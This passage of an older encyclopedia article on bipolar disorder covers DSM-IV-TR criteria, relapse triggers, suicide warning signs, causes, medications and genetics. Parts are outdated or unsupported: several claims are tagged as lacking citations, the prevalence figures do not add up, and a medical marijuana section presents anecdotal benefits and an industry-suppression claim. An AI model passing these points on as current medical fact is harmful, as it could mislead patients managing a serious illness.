To that point, there are currently three types of bipolar disorder outlined by the [[Diagnostic and Statistical Manual of Mental Disorders|DSM-IV-TR]] and generally accepted within the medical community: Bipolar I, Bipolar II, and [[Cyclothymia]]. Like many disorders involving brain chemistry, bipolar disorder is still under investigation, and symptoms may differ significantly from person to person. Typically, symptoms include periods of euphoria, which alternate with periods of profound depression. In most cases, periods of mood stability complement these periods of instability.

==Diagnostic criteria==
The [[Diagnostic and Statistical Manual of Mental Disorders|DSM-IV-TR]] details two general profiles of bipolar disorder, Bipolar I and Bipolar II.  Bipolar I is characterized by alternating episodes of full-blown mania and depression, while Bipolar II, the less severe and more common type of the disorder, is characterized by episodes of [[hypomania]] and depression.

===Criteria for a ''manic episode'' (DSM-IV-TR)===
# A distinct period of abnormally and persistently elevated, expansive, or irritable mood, lasting at least 1 week (or any duration if hospitalization is necessary). 
# During the period of mood disturbance, three (or more) of the following symptoms have persisted (four if the mood is only irritable) and have been present to a significant degree: 
## inflated self-esteem or grandiosity
## decreased need for sleep (e.g., feels rested after only 3 hours of sleep) 
## more talkative than usual or pressure to keep talking 
## flight of ideas or subjective experience that thoughts are racing
## distractibility (i.e., attention too easily drawn to unimportant or irrelevant external stimuli) 
## increase in goal-directed activity (either socially, at work or school, or [[sex]]ually) or psychomotor agitation
## excessive involvement in pleasurable activities that have a high potential for painful consequences (e.g., engaging in unrestrained buying sprees, sexual indiscretions, or foolish business investments) 
# The symptoms do not meet criteria for a Mixed Episode.
# The mood disturbance is sufficiently severe to cause marked impairment in occupational functioning or in usual social activities or relationships with others, or to necessitate hospitalization to prevent harm to self or others, or there are psychotic features. 
# The symptoms are not due to the direct physiological effects of a substance (e.g., a drug of abuse, a medication, or other treatment) or a general medical condition (e.g., [[hyperthyroidism]]). 

===Criteria for a ''major depressive episode'' (DSM-IV-TR)===
# Five (or more) of the following symptoms have been present during the same 2-week period and represent a change from previous functioning; at least one of the symptoms is either (1) or (2). 
## depressed mood most of the day, nearly every day, as indicated by either subjective report (e.g., feels sad or empty) or observation made by others (e.g., appears tearful). Note: In children and adolescents, can be irritable mood. 
## markedly diminished interest or pleasure in all, or almost all, activities most of the day, nearly every day (as indicated by either subjective account or observation made by others) 
## significant weight loss when not dieting or weight gain (e.g., a change of more than 5% of body weight in a month), or decrease or increase in appetite nearly every day. Note: In children, consider failure to make expected weight gains. 
## [[Insomnia]] or [[Hypersomnia]] nearly every day 
## [[psychomotor agitation]] or [[psychomotor retardation|retardation]] nearly every day (observable by others, not merely subjective feelings of restlessness or being slowed down) 
## fatigue or loss of energy nearly every day 
## feelings of worthlessness or excessive or inappropriate [[guilt]] (which may be delusional) nearly every day (not merely self-reproach or guilt about being sick) 
## diminished ability to think or concentrate, or indecisiveness, nearly every day (either by subjective account or as observed by others) 
## recurrent thoughts of death (not just fear of dying), recurrent suicidal ideation without a specific plan, or a suicide attempt or a specific plan for committing suicide 
# The symptoms do not meet criteria for a Mixed Episode. 
# The symptoms cause clinically significant distress or impairment in social, occupational, or other important areas of functioning. 
# The symptoms are not due to the direct physiological effects of a substance (e.g., a drug of abuse, a medication) or a general medical condition (e.g., hypothyroidism). 
# The symptoms are not better accounted for by [[Bereavement]], i.e., after the loss of a loved one, the symptoms persist for longer than 2 months or are characterized by marked functional impairment, morbid preoccupation with worthlessness, suicidal ideation, psychotic symptoms, or psychomotor retardation.

===Criteria for a ''mixed episode''===
# The criteria are met both for a Manic Episode and for a Major Depressive Episode (except for duration) nearly every day during at least a 1-week period. 
# The mood disturbance is sufficiently severe to cause marked impairment in occupational functioning or in usual social activities or relationships with others, or to necessitate hospitalization to prevent harm to self or others, or there are psychotic features. 
# The symptoms are not due to the direct physiological effects of a substance (e.g., a illicit drugs, a medication, or other treatment) or a general medical condition (e.g., hyperthyroidism). 

===Criteria for a ''hypomanic episode''===
# A distinct period of persistently elevated, expansive, or irritable mood, lasting throughout at least 4 days, that is clearly different from the usual non depressed mood. 
# During the period of mood disturbance, three (or more) of the following symptoms have persisted (four if the mood is only irritable) and have been present to a significant degree: 
## inflated self-esteem or grandiosity 
## decreased need for sleep (e.g., feels rested after only 3 hours of sleep) 
## more talkative than usual or pressure to keep talking 
## flight of ideas or subjective experience that thoughts are racing 
## distractibility (i.e., attention too easily drawn to unimportant or irrelevant external stimuli) 
## increase in goal-directed activity (either socially, at work or school, or sexually) or psychomotor agitation 
## excessive involvement in pleasurable activities that have a high potential for painful consequences (e.g., the person engages in unrestrained buying sprees, sexual indiscretions, or foolish business investments) 
# The episode is associated with an unequivocal change in functioning that is uncharacteristic of the person when not symptomatic. 
# The disturbance in mood and the change in functioning are observable by others. 
# The episode is not severe enough to cause marked impairment in social or occupational functioning, or to necessitate hospitalization, and there are no psychotic features. 
# The symptoms are not due to the direct physiological effects of a substance (e.g., a drug of abuse, a medication, or other treatment) or a general medical condition (e.g., hyperthyroidism). 

According to the [[Diagnostic and Statistical Manual of Mental Disorders|DSM-IV-TR]], a diagnosis of bipolar I disorder requires at least one manic or mixed episode, but may also include hypomanic or depressive episodes. A depressive episode is not required for a diagnosis of bipolar I disorder.

A diagnosis of bipolar II disorder requires neither a manic nor mixed episode, but requires at least one hypomanic episode ''and'' one major depressive episode.

A diagnosis of cyclothymic disorder requires the presence of numerous hypomanic episodes, intermingled with depressive episodes that do ''not'' meet the criteria for major depressive episodes.

If an individual clearly seems to be suffering from some type of bipolar disorder but does not meet the criteria for one of the conditions laid out above, he or she receives a diagnosis of ''Bipolar, Not Otherwise Specified'' (NOS).

==Causes of Relapse of Symptoms and Behaviors to Avoid==
A combination of medication and therapy is often used to somewhat '''suppress''' the symptoms of Bipolar disorder. Even when on medication, some people might still experience weaker episodes or have a complete manic or depressive episode. There are several factors that could cause someone to relapse into mania or depression:
*Failure to continue taking the appropriate dose of medication
*Under or over medicated or on the wrong medication. Generally, taking a lower dosage of a mood stabilizer will cause the patient to relapse into mania. Taking a lower dosage of an antidepressant can cause the patient to relapse into depression, while overdosing can cause the patient to experience mania. Overdosing on either medication can cause serious liver problems and possibly other health problems. During treatment, blood levels are often checked to ensure the appropriate concentrations of the drug(s).
*Taking other medications that affect brain activity, or using recreational drugs such as marijuana, cocaine, or heroin. For Bipolar patients, mind-altering drugs can cause severe damage.
*Not getting enough sleep can cause the patient to relapse into mania. It is also important that patients follow a consistent sleep schedule that includes 7-8 hours each night.
*Avoid caffeine. Excessive amounts can cause relapses into mania.
*Stress must also be managed appropriately. When not on medication, excessive stress can cause the patient to relapse into mania or depression. Medication raises the stress threshold somewhat, but too much stress can still cause relapses.

Also, patients should not consume excessive amounts of alcohol because that can cause liver damage.

==Suicide Warning==
Patients with Bipolar disorder sometimes become [[suicidal]]. Suicidal symtoms include:
*talking about feeling suicidal or wanting to die
*feeling hopeless, that nothing will ever change or get better
*feeling helpless, that nothing one does makes any difference
*feeling like a burden to family and friends
*abusing alcohol or drugs
*putting affairs in order (e.g., organizing finances or giving away possessions to prepare for one's death)
*putting oneself in harm's way, or in situations where there is a danger of being killed

If you are feeling suicidal or know someone who is:
*call a doctor, emergency room, or the [[emergency telephone number]] right away to get immediate help
*make sure you, or the suicidal person, are not left alone
*make sure that access is prevented to large amounts of medication, weapons, or other items that could be used for self-harm

==Epidemiology==
The lifetime prevalence rate of Bipolar Disorder I and II is thought to be between 0.6 and 2% of the population{{ref|prevalence}}. Bipolar I disorder is gender-neutral, affecting both women and men equally, according to the [[Diagnostic and Statistical Manual of Mental Disorders|DSM]]. Bipolar II is found more frequently in women{{ref|bipolar2women}}. No publication to date has suggested that there is a difference between races in the prevalence of bipolar disorder.

Most frequently, the disorder starts with a depression, and [[mania]] or [[hypomania]] follows. In the vast majority of cases, the symptoms begin in early adulthood, and continue over the course of the lifespan. There are some occurrences of a single manic episode followed by full recovery with no recurrence; however, these cases are rare enough to suggest some other confounding factors.

For many years it was believed that the bipolar profile emerged in late adolescence and/or young adulthood. Recent research by the [[National Institute of Mental Health]] suggests that even young children can suffer from bipolar symptoms or precursors.{{ref| NIMH Roundtable}} These precursors can include acute [[anxiety]] or [[panic attack]]s. Although there is no specific official diagnostic category for this pre-adolescent patient profile, it is often called &quot;[[pediatric bipolar disorder]]&quot;.

==Etiology==
There are many theories regarding the development of bipolar disorder. Multiple factors may be involved, such as stressful events or major life transitions, conditions in the womb, past or present drug use (which may complicate diagnoses if present and may lead to misdiagnoses), sleep deprivation, or a family history of bipolar disorder, [[clinical depression]], or [[schizophrenia]].  This type of family history creates a genetic vulnerability which can significantly increase the likelihood of developing the disorder {{ref| Genetic Likelihood}}.

The &quot;kindling&quot; theory {{ref|kindling}} asserts that people who are genetically predisposed toward bipolar disorder experience a series of stressful events, each of which lowers the threshold at which mood changes occur.  Eventually, the mood episode itself is sufficient to trigger recurring difficulties.

As with nearly all psychiatric or psychological phenomena, the etiology of bipolar disorder is thought to include a complex interplay between environmental stimuli (stressful life events, drug use, etc.) and genetic vulnerability.  While bipolar disorder has a strong genetic component, the concordance rate between MZ (identical) twins, who share 100% of their DNA, is not 100%.  Therefore, environmental and genetic factors must be at play.

Many drugs, legal and illegal, may initiate a manic episode.  The mania induced by such drugs, including antidepressant medications and stimulants (e.g. Adderall or methamphetamines), may or may not resolve when the medication is discontinued. When a patient with a history of manic episodes requires an antidepressant because of a serious depression, a doctor typically will tread carefully, prescribing a low dose and, ideally, closely monitoring the patient for any signs of an excessive mood shift toward the manic side of the spectrum.

==Comorbid conditions==
Several disorders may occur simultaneously with bipolar I and II disorders.  As these disorders are not all episodic, they may present themselves during the course of both mood mood stability. Further, the medications used to manage the symptoms of bipolar disorders may be ineffective against the symptoms of comorbid disorders, and, in some cases, are contraindicated because they aggravate other conditions.

[[Anxiety disorders]] or [[obsessive-compulsive disorder]] (mild or severe) may occur in conjunction with bipolar disorder.  Other co-occurring symptomologies may include panic disorder, social phobia, [[suicide|suicidal ideation]], [[substance dependence]], and [[Somatization disorder|somatization disorders]].  Another comorbid condition that often confuses the diagnosis in the juvenile population is ADHD.  ADHD and bipolar disorder co-occur frequently, perhaps due to their overlapping symptom profiles or to the prescription of stimulant medications to juveniles with ADHD {{ref|Comorbidities}}.

==Cycles in bipolar disorder==
The cycles of bipolar disorder may be long or short, and the ups and downs may be of different magnitudes: for instance, a person suffering from bipolar disorder may suffer a protracted mild depression followed by a shorter and intense mania. The depressed periods may seem much worse following a manic period from the point of view of the patient.

Severe depression or mania may be accompanied by symptoms of [[psychosis]]. These symptoms include [[hallucination]]s (hearing, seeing, or otherwise sensing the presence of stimuli that are not there) and [[delusion]]s (false personal beliefs that are not subject to reason or contradictory evidence and are not explained by a person's cultural concepts). Paranoid (see [[paranoia]]) thoughts, which cause the patient to believe that he or she is being persecuted or monitored by some powerful entity such as the government or a hostile force, may be present. Intense and unusual religious beliefs may also be present, such as patients' strong insistance that they have a God-given role to play in the world, a great and historic mission to accomplish, or even that they possess supernatural powers. Delusions in a depression may be far more distressing, sometimes taking the form of intense guilt for supposed wrongs that the patient believes he or she has inflicted on others.

==Domains of bipolar disorder==
===Mania===
Researchers at [[Duke University]] have refined Kraepelin’s four classes of mania to include hypomania (featuring mainly [[euphoria]]), severe mania (including euphoria, [[grandiosity]], high levels of [[Libido|sexual drive]], [[irritability]], [[volatility]], [[psychosis]], [[paranoia]], and [[aggression]]), extreme mania (most of the displeasures, hardly any of the pleasures) a.k.a. dysphoric mania, and two forms of mixed mania (where depressive and manic symptoms collide)[http://www.mcmanweb.com/article-5.htm].

===[[Hypomania]]===
Hypomania is a less severe form of [[mania]] without progression to [[psychosis]]. Many of the symptoms of mania are present, but to a lesser degree than in overt mania. People with hypomania are generally perceived as being energetic, euphoric, overflowing with new ideas, and sometimes highly confident and charismatic, yet they are sufficiently capable of coherent thought and action to participate in everyday life.

It is questionable whether hypomania occurs without being part of a cycle of mania or depression. Patients rarely, if ever, seek out a psychiatrist complaining of hypomania. Johns Hopkins psychologist John Gartner in ''The Hypomanic Edge'' contends that many famous people – including [[Christopher Columbus]], [[Alexander Hamilton]], [[Andrew Carnegie]], [[Louis B. Mayer|Louis B Mayer]], and [[Craig Venter]] (who mapped the human [[genome]]) - owed their ideas and drive (and eccentricities) to their hypomanic temperaments. The creativity and risky behavior associated with hypomania (and bipolar disorder in general) may suggest why it has survived evolutionary pressures.

Although hypomania sounds in many ways like a desirable condition, it can have significant downsides. Many of the negative symptoms of mania can be present; the primary differentiating factor is the absence of [[psychosis]]. Many hypomanic patients have symptoms of disrupted sleep patterns, irritability, racing thoughts, obsessional traits,  and poor judgment. Hypomania, like mania, can be associated with recklessness, excessive spending, risky hypersexual activity, general lack of judgment and out-of-character behaviour that the patient may later regret and may cause significant social, interpersonal, career and financial problems.

Hypomania can also signal the beginning of a more severe manic episode, and in people who know that they suffer from bipolar disorder, can be viewed as a warning sign that a manic episode is on the way, allowing them to seek medical treatment while they are still sufficiently self-aware before full-blown mania occurs.

===Bipolar depression===
People with bipolar disorder, generally speaking, are depressed far more often than they are manic. According to the [[Stanley Foundation Bipolar Network]], bipolar patients spend three times more days in depression than they do in mania{{citeneeded}}, however, there are cases of Bipolar I in which patients are primarily manic. For bipolar II patients, a study by Hagop Akiskal &lt;!--MD--&gt; of the [[University of California, San Diego]] revealed this population was depressed 37 times more than they were hypomanic{{citeneeded}}.

A 2003 study by Robert Hirschfeld &lt;!--MD--&gt; of the [[University of Texas Medical Branch|University of Texas, Galveston]] found bipolar patients fared worse in their depressions than unipolar patients. (See [http://www.mcmanweb.com/article-221.htm Bipolar Depression].)

===Cognition===
Numerous studies show that bipolar disorder affects a patient's ability to think and perform mental tasks, even in states of remission{{ref|Pettigrew}}. Deborah Yurgelun-Todd &lt;!--PhD--&gt; of [[McLean Hospital]] in [[Belmont, Massachusetts|Belmont]], [[Massachusetts]] has argued these deficits should be included as a core feature of bipolar disorder.  By the same token, research by [[Kay Redfield Jamison|Kay Jamison]] &lt;!--PhD--&gt; of [[Johns Hopkins University]] and others has attributed high rates of creativity and productivity to individuals with bipolar disorder. (See [http://www.mcmanweb.com/article-161.htm Brain Damage].)  There may be no conflict here: Cognitive dysfunction does not necessarily bar creativity. 

==The Mood Spectrum Perspective==
Clinical depression and bipolar disorder are classified as separate illnesses, but psychiatry is increasingly viewing them as part of an overlapping spectrum that also includes anxiety and psychosis. 

In a 2003 study, [[Akiskal]] and Judd re-examined data from the landmark [[Epidemiological Catchment Area study]] from two decades before.{{citeneeded}} The original study found that .08 percent of the population surveyed had experienced a manic episode at least once (the diagnostic threshold for bipolar I) and .05 a hypomanic episode (the diagnostic threshold for bipolar II). But by tabulating survey responses to include criteria below the diagnostic radar, such as one or two symptoms over a short time period, the authors of the study recalculated the data to arrive at an additional 5.1 percent of the population, adding up to a total of 6.4 percent of the entire population who could conceivably be thought of as having bipolar disorder.

There is also a case that [[clinical depression]] can be bipolar disorder waiting to happen. In a 2005 study, [[Jules Angst]] &lt;!--MD--&gt; and his colleagues at [[Zurich University]] tracked 406 patients with major mood disorders over a 20-year period.{{citeneeded}} Of 309 patients presenting with depression, 121 (39.2 percent) eventually manifested as bipolar (24.3 percent to bipolar I, 14.9 percent to bipolar II). In all, more than 50 percent of the study population turned out to have bipolar disorder. This could also be attributed to the fact that most cases of bipolar disorder are first misdiagnosed as depression.

==Environmental factors affecting mood in bipolar disorder==
In mid-2003, a [[twin study]] was published concerning environmental factors and bipolar disorder. The bipolar twin was found to be far more affected by changes in sunlight. Longer nights resulted in changes in mood and length of sleep to a far greater extent than the healthy twin. Sunny days also did more to improve mood. In fact, natural light in general was found to have a profound positive effect upon the well-being of the bipolar twin.{{ref|Hakk_2003}}

Paradoxically, in the 2004 publication of a study using [[Tel Aviv]]'s public psychiatric hospitals, it was found that &quot;Admission rates of bipolar depressed patients increase during spring/summer and correlate with maximal environmental temperature&quot;.{{ref|Shap_2004}} Unipolar depressed patient admission had no such correlation. High temperature points in the month, as well as high temperature months, were found to be correlated with depressive episodes in admissions.

In contrast, it has been found that the bipolar cycle tends towards extreme mania in the mid-to-late-summer, followed by an inevitable crash into depression with the ending of the manic episode coupled with the decreasing natural light in autumn. 

==Treatment of bipolar disorder==
There is no cure for bipolar disorder; the emphasis is on management of the symptoms. A variety of [[medication]]s are used to treat bipolar disorder; many people with bipolar disorder require multiple medications. Some people with bipolar disorder supplement or replace their [[Western medicine|Western medication]] with [[herbal medicine|herbal]] or [[holistic]] options. Still, even with optimal medication treatment, many people with the illness have some residual symptoms or relapses of depression or mania. [[Cognitive therapy]] may work to lessen the severity of mood swings by recognizing and managing triggering symptoms or events. [[Interpersonal and Social Rhythm Therapy]] (ISPRT) emphasizes the regulation of sleep, diet and exercise to prevent episodes, along with teaching coping skills; it is well-documented that sleep disruptions can trigger manic episodes.

===Principles===
[[Medication]]s called [[mood stabilizer]]s are used to prevent or mitigate manic or depressive episodes.  Because mood stabilizers are generally more effective at treating mania than bipolar depression, periods of depression are sometimes also treated with [[antidepressant]]s.  However, as stated above, antidepressants carry the risk of inducing mania, especially in bipolar patients who are not taking a mood stabilizer.

In severe cases where the mania or the depression is severe enough to cause [[psychosis]] (and recently sometimes in less severe cases as well, although this remains controversial), The [[antipsychotic drugs]] may also be used. A new class of [[Atypical antipsychotic|&quot;atypical&quot; antipsychotics]] has also become more widely used for bipolar episodes. The FDA has only approved them for [[acute]] episodes, if at all (with the exception of [[olanzapine]], which is approved as a mood stabilizer). Like most doctors, [[psychiatrists]] use medication for &quot;off-label&quot; uses, even when such uses are not supported by available research. It is becoming accepted practice to use [[atypical antipsychotics]] as mood stabilizers at this point, and there is support in the literature for their effectiveness in mood stabilization.

Some people have reported that antipsychotics cause [[mania]], [[panic attacks]], or [[psychosis]]{{citeneeded}}. Any agitation should be reported to the doctor immediately. Antipsychotics also carry a risk of causing [[tardive dyskinesia]], a potentially disfiguring and sometimes irreversible movement disorder that may case the arms, legs, face or head to jerk or twitch. The risk is thought to be proportionate to the length of duration of [[Antipsychotic|neuroleptic/antipsychotic]] use (roughly 5% per year in non-elderly patients) and has recently been linked to an equally high occurrence in both typical and atypical antipsychotics{{citeneeded}}, in contrast to claims of lower risks when the atypicals were introduced. Patients and physicians need to be careful to watch for symptoms of this side effect carefully so that an antipsychotic can be reduced in dosage, or changed to another medication, before the condition progresses. The doctor should, of course, be consulted about any change in dosage. The only antipsychotic with no apparent association with tardive dyskinesia is [[clozapine]].

Medications work differently in each person, and it takes considerable time to determine in any particular case whether a given drug is effective at all, since bipolar disorder is by nature episodic, and patients may experience remissions whether or not they receive treatment. For this reason, neither patients nor their doctors should expect immediate relief, although [[psychosis]] with [[mania]] can respond quickly to antipsychotics, and bipolar depression can be alleviated quickly with electroconvulsive therapy (ECT). Many doctors emphasize that patients should not expect full [[stabilization]] for at least 3-4 weeks (some [[antidepressants]], for example, take 4-6 weeks to take effect), and should not “give up” on a medication prematurely {{ref|New Hope}}, nor should they discontinue medication with the disappearance of symptoms as the depression may return. 

Compliance with medications can be a major problem, because some people as they become manic lose the awareness of having an illness, and they therefore discontinue medications. Patients also often quit taking medication when symptoms disappear, erroneously thinking themselves &quot;cured&quot;, and some people enjoy the effects of unmedicated hypomania.

Depression does not respond instantaneously to resumed medication, typically taking 2&amp;ndash;6 weeks to respond. Mania may disappear slowly, or it may become depression. Other reasons cited by individuals for discontinuing medication are side effects, expense, and the stigma of having a psychiatric disorder.  In a relatively small number of cases stipulated by law (varying by locality but typically, according to the law, only when a patient poses a threat to himself or others), patients who do not agree with their psychiatric diagnosis and treatment can legally be required to have treatment without their consent.  Throughout North America and the United Kingdom, [[involuntary treatment]] or detention laws exist for severe cases of bipolar disorder and other mental illnesses.

==Prognosis==
While bipolar disorder can be one of the most severe and devastating medical conditions, indeed the sixth highest cause of disability in the world according to the [[World Health Organization]], fortunately many individuals with bipolar disorder can also live full and mostly happy lives with correct management of their condition. Compared to patients with [[schizophrenia]], persons with bipolar disorder are more likely to have periods of normal functioning in the absence of medication.  Although schizophrenic patients may have remissions with relatively high levels of functioning, schizophrenic patients tend to suffer some impairment during these intervals in contrast to persons with bipolar disorder who often appear completely healthy when they are between mood swings.

===Lithium salts===
The use of [[lithium salt]]s as a treatment of bipolar disorder was first discovered by Dr. [[John Cade]], an Australian psychiatrist who published a paper on the use of lithium in 1949.

Lithium salts had long been used as a first-line treatment for bipolar disorder. In ancient times, doctors would send their mentally ill patients to drink from &quot;alkali springs&quot; as a treatment. They did not know it, but they were really prescribing lithium, which was present in high concentration in the waters. The therapeutic effect of lithium salts appears to be entirely due to the [[lithium]] ion, Li&lt;sup&gt;+&lt;/sup&gt;. The two lithium salts used for bipolar therapy are lithium carbonate (mostly) and lithium citrate (sometimes).  Approved for the treatment of acute mania in 1970 by the [[FDA]], lithium has been an effective mood-stabilizing medication for many people with bipolar disorder. Lithium is also noted for reducing the risk of suicide{{ref|bald_2003}}. Although lithium is among the most effective mood stabilizers,  persons taking it may experience side effects similar to the effects of ingesting too much table salt, such as high blood pressure, water retention, and constipation.  Regular blood testing is required when taking lithium to determine the correct lithium levels since the therapeutic dose is close to the toxic dose.  

The mechanism of lithium salt treatment is believed to work as follows: some symptoms of bipolar disorder appear to be caused by the enzyme [[inositol monophosphatase]] (IMPase), an enzyme that splits [[inositol monophosphate]] into free [[inositol]] and [[phosphate]]. It is involved in [[signal transduction]] and is believed to create an imbalance in [[neurotransmitter]]s in bipolar patients. The lithium ion is believed to produce a mood stabilizing effect by inhibiting IMPase by substituting for one of two magnesium ions in IMPase's active site, slowing down this enzyme.

[[Lithium orotate]] is used as an alternative treatment to lithium carbonate by some sufferers of bipolar disorder, mainly because it is available without a doctor's prescription.  It is sometimes sold as &quot;organic lithium&quot; by nutritionists, as well as under a wide variety of brand names. There seems to be little evidence for its use in clinical treatment in preference to lithium carbonate.

===Anticonvulsant mood stabilizers===
[[Anticonvulsant]] medications, particularly [[Valproic acid|valproate]] and [[carbamazepine]], have been used as alternatives or adjuncts to lithium in many cases. Valproate (Depakote and Depakene, Epival) was FDA approved for the treatment of acute mania in 1995, and is now considered by some doctors to be the first line of therapy for bipolar disorder. For some, it is preferable to lithium because its side effect profile seems to be less severe, compliance with the medication is better, and fewer breakthrough manic episodes occur. However, valproate is not as effective as lithium in preventing or managing depressive episodes, so patients taking valproate may also need an antidepressant as an adjunct medicinal therapy. Some research suggests that different combinations of lithium and anticonvulsants may be helpful. Anticonvulsants are also used in combination with antipsychotics. Newer anticonvulsant medications, including [[lamotrigine]] and [[oxcarbemazepine]], are also effective as mood stabilizers in bipolar disorder.  [[Lamotrigine]] is particularly promising, as it alleviates bipolar depression and prevents recurrence at higher rates. {{ref|Lamot_1}} [[Topiramate]] has not done well in clinical trials; it seems to help a few patients very much but most not at all. It appears to be useful in some treatment resistant cases. [[Gabapentin]] has failed to distinguish itself from placebo as a mood stabilizer.

According to studies conducted in [[Finland]] in patients with [[epilepsy]], valproate may increase [[testosterone]] levels in teenage girls and produce [[polycystic ovary syndrome]] in women who began taking the medication before age 20. Increased testosterone can lead to polycystic ovary syndrome with irregular or absent menses, obesity, and abnormal growth of hair. Therefore, young female patients taking valproate should be monitored carefully by a physician.  It should be noted, however, that the therapeutic dose for a patient taking valproate for epilepsy is very different than the therapeutic dose of valproate for an individual with bipolar disorder.

Other anticonvulsants effective in some cases and being studied closer include [[phenytoin]], [[levitiracetam]], [[pregabalin]] and [[valnoctimide]]. [[Clonazepam]] and other [[benzodiazepines]] are also antimanic agents.

===Atypical antipsychotic drugs===
The newer [[atypical antipsychotic]] drugs such as [[risperidone]], [[quetiapine]], and [[olanzapine]] are often used in acutely manic patients, because these medications have a rapid onset of psychomotor inhibition, which may be lifesaving in the case of a violent or psychotic patient.  [[Route of administration|Parenteral]] and orally disintegrating (in particular, [[Zydis]] wafers) forms are favoured in emergency room settings. [http://content.nejm.org/cgi/content/full/351/5/476]  These drugs can also be used as [[adjunctives]] to lithium or anticonvulsants in refractory bipolar disorder and in prevention of mania recurrence.  In light of recent evidence, [[olanzapine]] (Zyprexa) has been FDA approved as an effective monotherapy for the maintenance of bipolar disorder.[http://www.zyprexa.com/common_pages/hcp_maintenance.jsp]  A head-to-head randomized control trial in 2005 has also shown [[olanzapine]] monotherapy to be just as effective and safe as lithium in [[prophylaxis]].[http://ajp.psychiatryonline.org/cgi/content/full/162/7/1281] [[Eli Lilly]] also offers [[Symbyax]], a combination of [[olanzapine]] and [[fluoxetine]].[http://www.biopsychiatry.com/symbyax.htm]

===Omega-3 fatty acids===
[[Omega-3 fatty acid]]s may also be used as a treatment for bipolar disorder, particularly as a supplement to medication.  An initial clinical trial by Stoll et. al. produced positive results {{ref|Stoll_1999}}.  However, since 1999 attempts to confirm this finding of beneficial effects of omega-3 fatty acids in several larger double-blind clinical trials have produced inconclusive results.  It was hypothesized that the therapeutic ingredient in omega-3 fatty acid preparations is [[eicosapentaenoic acid]] (EPA) and that supplements should be high in this compound to be beneficial {{ref|epa}}. Omega-3 fatty acids may be found in fish, fish oils, and to a lesser degree in other foods such as flaxseed, flaxseed oil and walnuts. Researchers have not determined if flaxseed oil or supplements have the same effect that was observed when bipolar patients were given omega-3 fatty acids through fish products. 

===Psychotherapy===
Certain types of [[psychotherapy]] or psychosocial interventions, generally used in combination with medication, often can provide tremendous additional benefit. These include [[cognitive-behavioral therapy]], [[interpersonal and social rhythm therapy]], [[interpersonal group therapy]], [[family systems therapy]], and [[psychoeducation]]. Although bipolar patients will not be cured of the illness through &quot;talking,&quot; therapy often can be invaluable in helping to address the effects of disruptive manic or depressive episodes that have hurt a patient's career, relationships or self-esteem. Therapy is available not only from psychiatrists but from social workers, psychologists and other licensed counselors.

===Electroconvulsive therapy===
{{main|Electroconvulsive therapy}}

Electroconvulsive therapy (ECT) is sometimes used to treat severe bipolar depression in cases where other treatments have failed. Although it has proved to be a highly effective treatment, doctors are reluctant to use it except as a treatment of last resort because of the side-effects and possible complications of ECT, particularly when repeated treatments (&quot;maintenance ECT&quot;) are needed.

===Medical Marijuana===
There are many anecdotal claims that [[medical marijuana]] can help control the mood swings associated with bipolar disorder.  The euphoriant effect of THC can elevate depressive phases, while the tranquilizing effects of THC are effective at controlling manic phases.  This is only speculation. It should be noted that THC has different effects on different brains, and some studies suggest that marijuana can actually increase anxiety and depression.  While most anti-depressants take several weeks to work at full strength, smoked marijuana is effective in minutes, and eaten marijuana is effective within an hour or two. Also, negative side effects associated with pharmaceutical anti-depressants such as nausea, sleep disruption, and loss of libido are usually non-existant with medical marijuana.  Of course, marijuana legality issues makes this treatment medically unavailable and/or difficult to obtain for those looking for an alternative.

Some controlled medical studies have concluded that data suggests adults do not increase their risk for depression by using marijuana.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;dopt=Abstract&amp;list_uids=15964704]

One opinion popular among proponents of medical marijuana suggests that since plants cannot be patented, and because marijuana is easily grown, there has been a concerted effort by the pharmaceutical industry to suppress the use of medical marijuana as a treatment for many disorders and illnesses, including bipolar disorder.  In contrast, a UK company, [[GW Pharmaceuticals]], has recently begun marketing [[Sativex]], which is a whole-plant [[Cannabis]] extract, and is also pursuing studies of its use for various illnesses, such as cancer and depression.

===Alternative treatments===
{{further|[[Complementary treatments for bipolar disorder]]}}

Complementary non-Western treatments, such as [[acupuncture]] and [[orthomolecular medicine|orthomolecular therapy]], are used by people with bipolar disorder, and some research shows that some of them may have some scientific merit.

==Treatment issues==
Nearly all bipolar treatment studies have involved treating patients in the acute (initial) mania stage, where use of medication may be justified in removing a patient from danger. Less is known, however, about long-term treatment, where relapse prevention and full remission are the main treatment goals.

Until recently, depression was largely overlooked in bipolar disorder. The anticonvulsant medication, [[lamotrigine]] is often used for treating bipolar depression, particularly where other drugs have failed and the patient's disorder has a strong depressive component. New clinical trials are finding that certain new-generation antipsychotics such as [[olanzapine]] and [[quetiapine]] show some beneficial effect in treating bipolar depression. Lithium also has a mild antidepressant effect.

Because there is a danger of antidepressant medications such as SSRIs switching bipolar patients into mania, these medications are used with caution, nearly always with a mood stabilizer.[http://www.mcmanweb.com/treating_bipolar_depression.htm].

==Research findings==
===Heritability===
Bipolar disorder appears to run in families. The rate of suicide is higher in people who have bipolar disorder than in the general population.  In fact, people with bipolar disorder are about twice as likely to commit suicide as those suffering from major depression (12% to 6%).

More than two-thirds of people with bipolar disorder have at least one close relative with the disorder or with unipolar major depression, indicating that the disease has a genetic component. Studies seeking to identify the genetic basis of bipolar disorder indicate that susceptibility stems from multiple genes. Scientists are continuing their search for these genes using advanced genetic analytic methods and large samples of families affected by the illness. The researchers are hopeful that identification of susceptibility genes for bipolar disorder, and the brain proteins they code for, will make it possible to develop better treatments and preventive interventions targeted at the underlying illness process.

===Recent genetic research===
Bipolar disorder is considered to be a result of complex interactions between genes and environment.  The monozygotic concordance rate for the disorder is 70%.  This means that if a person has the disorder, an identical twin has a 70% likelihood of having the disorder as well.  Dizygotic twins have a 23% concordance rate.

In 2003, a group of American and Canadian researchers published a paper that used [[gene linkage]] techniques to identify a mutation in the [[GRK3]] gene as a possible cause of up to 10% of cases of bipolar disorder. This gene is associated with a kinase enzyme called [[G protein receptor kinase 3]], which appears to be involved in [[dopamine]] metabolism, and may provide a possible target for new drugs for bipolar disorder.{{ref|Barr_2003}}

===Medical imaging===
